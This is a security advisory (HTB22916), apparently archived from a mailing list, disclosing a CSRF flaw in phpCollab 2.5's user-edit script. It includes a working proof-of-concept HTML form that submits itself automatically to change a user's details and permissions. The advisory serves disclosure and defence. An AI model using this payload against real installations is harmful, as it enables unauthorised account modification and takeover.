[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

HTB22916: XSRF (CSRF) in phpCollab



Vulnerability ID: HTB22916
Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_phpcollab.html
Product: phpCollab
Vendor: phpCollab Team ( http://www.php-collab.org/ ) 
Vulnerable Version: 2.5 and probably prior versions
Vendor Notification: 24 March 2011 
Vulnerability Type: CSRF (Cross-Site Request Forgery)
Risk level: Low 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
The vulnerability exists due to failure in the "users/edituser.php" script to properly verify the source of HTTP request.

Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

Attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/users/edituser.php?id=USERID&action=update"; method="post" name="main">
<input type="hidden" name="un" value="test">
<input type="hidden" name="unOld" value="test">
<input type="hidden" name="fn" value="test">
<input type="hidden" name="tit" value="test">
<input type="hidden" name="em" value="email@xxxxxxxxxxx">
<input type="hidden" name="pw" value="">
<input type="hidden" name="pwa" value="">
<input type="hidden" name="perm" value="5">
<input type="hidden" name="Save" value="Save">
</form>
<script>
document.main.submit();
</script>